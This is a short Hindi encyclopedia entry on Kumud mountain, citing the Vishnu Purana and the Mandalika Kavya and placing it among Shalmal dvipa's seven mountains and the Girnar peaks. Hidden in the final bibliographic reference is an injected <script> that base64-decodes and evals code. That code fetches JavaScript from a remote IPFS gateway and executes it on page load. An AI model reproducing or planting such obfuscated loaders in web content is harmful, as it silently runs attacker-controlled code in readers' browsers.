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कुमुद पर्वत

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कुमुद पर्वत का उल्लेख विष्णु पुराण में हुआ है, जहाँ इसे शाल्मल द्वीप के सात पर्वतों में से एक बताया गया है-

‘कुमुदश्चोन्नतश्चैव तृतीयश्च बलाहक:’।[1]

  • एक अन्य प्रसंग के अनुसार कुमुद पर्वत को गिरनार पर्वतमाला का एक श्रृंग बतलाया गया है, जिसका उल्लेख 'मंडलीककाव्य' (1, 2) में 'उज्जयंत' तथा 'रैवतक' के साथ इस प्रकार है-

‘शिखरत्रयभेदेन नाम भेदमगादसी, उज्जयन्ती रैवतक: कुमुदश्चेति भूधर:।


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टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 204 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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